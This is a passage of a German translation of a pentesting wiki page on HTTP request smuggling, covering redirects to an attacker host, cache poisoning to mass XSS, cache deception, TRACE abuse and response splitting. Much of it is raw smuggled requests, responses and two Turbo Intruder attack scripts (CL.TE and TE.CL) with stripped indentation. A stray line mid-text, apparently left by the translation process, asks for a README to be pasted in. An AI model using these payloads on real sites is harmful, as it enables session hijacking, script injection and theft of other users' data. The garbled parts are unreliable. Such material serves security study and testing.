Obwohl es harmlos erscheint, kann dieses Verhalten mittels HTTP request smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage zu einer vom Angreifer kontrollierten Website umgeleitet wird:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Führt zu:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei gekapert. Der Angreifer kann den Benutzer möglicherweise kompromittieren, indem er als Antwort bösartigen JavaScript-Code ausliefert.

Ausnutzung von Web Cache Poisoning durch HTTP Request Smuggling

Web cache poisoning kann ausgeführt werden, wenn eine Komponente der Front-End-Infrastruktur Inhalte zwischenspeichert, typischerweise zur Leistungsverbesserung. Durch Manipulation der Serverantwort ist es möglich, poison the cache.

Zuvor haben wir gesehen, wie Serverantworten verändert werden können, um einen 404-Fehler zurückzugeben (siehe Basic Examples). Ebenso ist es möglich, den Server so zu täuschen, dass er auf eine Anfrage nach /static/include.js den Inhalt von /index.html ausliefert. Folglich wird der Inhalt von /static/include.js im Cache durch den von /index.html ersetzt, wodurch /static/include.js für Benutzer unzugänglich wird und möglicherweise zu einem Denial of Service (DoS) führt.

Diese Technik wird besonders potent, wenn eine Open Redirect vulnerability entdeckt wird oder wenn es einen on-site redirect to an open redirect gibt. Solche Vulnerabilities können ausgenutzt werden, um den gecachten Inhalt von /static/include.js durch ein vom Angreifer kontrolliertes Script zu ersetzen, wodurch im Grunde ein weitreichender Cross-Site Scripting (XSS)-Angriff gegen alle Clients möglich wird, die das aktualisierte /static/include.js anfordern.

Unten folgt eine Darstellung zur Ausnutzung von cache poisoning combined with an on-site redirect to open redirect. Ziel ist es, den gecachten Inhalt von /static/include.js so zu verändern, dass JavaScript-Code ausgeliefert wird, der vom Angreifer kontrolliert wird:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Beachte die eingebettete Anfrage, die auf /post/next?postId=3 abzielt. Diese Anfrage wird zu /post?postId=4 umgeleitet und verwendet dabei den Host header value, um die Domain zu bestimmen. Durch Ändern des Host header kann der Angreifer die Anfrage auf seine Domain umleiten (on-site redirect to open redirect).

Nach erfolgreichem socket poisoning sollte eine GET request für /static/include.js ausgelöst werden. Diese Anfrage wird durch die vorherige on-site redirect to open redirect-Anfrage kontaminiert und lädt den Inhalt des vom Angreifer kontrollierten Skripts.

Anschließend wird jede Anfrage an /static/include.js den im Cache gespeicherten Inhalt des Angreifer-Skripts ausliefern, wodurch effektiv eine großflächige XSS-Attacke gestartet wird.

Verwendung von HTTP request smuggling zur Durchführung von web cache deception

Was ist der Unterschied zwischen web cache poisoning und web cache deception?

  • In web cache poisoning verursacht der Angreifer, dass die Anwendung bösartigen Inhalt im Cache speichert, und dieser Inhalt wird aus dem Cache an andere Nutzer der Anwendung ausgeliefert.
  • In web cache deception bringt der Angreifer die Anwendung dazu, sensible Inhalte eines anderen Nutzers im Cache zu speichern, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.

Der Angreifer erstellt eine smuggled request, die sensitive, benutzerspezifische Inhalte abruft. Betrachte folgendes Beispiel:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Wenn diese eingeschmuggelte Anfrage einen cache entry vergiftet, der für static content vorgesehen ist (z. B. /someimage.png), könnten die sensiblen Daten des Opfers aus /private/messages unter dem cache entry des static content zwischengespeichert werden. Folglich könnte der Angreifer möglicherweise diese zwischengespeicherten sensiblen Daten abrufen.

Missbrauch von TRACE mittels HTTP Request Smuggling

In this post wird vorgeschlagen, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, sie mit einem HTTP Request Smuggling auszunutzen. Dies liegt daran, dass diese Methode jeden an den Server gesendeten header als Teil des body der Antwort reflektiert. Zum Beispiel:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein. Ich werde den relevanten englischen Text ins Deutsche übersetzen und dabei die angegebenen Regeln (Markdown/HTML-Syntax, unveränderte Tags/Links/Code/Techniknamen) genau einhalten.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine HEAD request zu smugglen. Auf diese Anfrage wird nur mit den Headers einer GET request geantwortet (Content-Type darunter). Und direkt nach der HEAD eine TRACE request smugglen, die die gesendeten Daten reflektiert.
Da die HEAD-Antwort einen Content-Length Header enthält, wird die Antwort der TRACE request als Body der HEAD-Antwort behandelt und reflektiert somit beliebige Daten in der Antwort.
Diese Antwort wird an die nächste Anfrage über die Verbindung geschickt, sodass dies z. B. in einer gecachten JS-Datei verwendet werden könnte, um beliebigen JS-Code einzuschleusen.

Missbrauch von TRACE mittels HTTP Response Splitting

Es wird empfohlen, diesen Beitrag weiter zu verfolgen; dort wird eine andere Möglichkeit beschrieben, die TRACE-Methode zu missbrauchen. Wie kommentiert, ist es möglich, durch das smugglen einer HEAD request und einer TRACE request einige reflektierte Daten in der Antwort auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen im Content-Length Header angegeben und wird durch die Antwort auf die TRACE request gebildet.

Die neue Idee wäre daher: Kennt man diese Content-Length und die in der TRACE-Antwort gelieferten Daten, ist es möglich, die TRACE-Antwort so zu gestalten, dass sie nach dem letzten Byte der Content-Length eine gültige HTTP-Antwort enthält, wodurch ein Angreifer die Anfrage der nächsten Response vollständig kontrollieren kann (was z. B. für cache poisoning genutzt werden könnte).

Beispiel:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Erzeugt diese Antworten (beachte, wie die HEAD response eine Content-Length hat, wodurch die TRACE response Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP response geschmuggelt wird):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponisierung von HTTP Request Smuggling mittels HTTP Response Desynchronisation

Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen sollen? Probieren Sie diese anderen Exploit-Methoden:

HTTP Response Smuggling / Desync

Andere HTTP Request Smuggling Techniken

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder Skripte

CL.TE

Von https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Von: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Werkzeuge

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks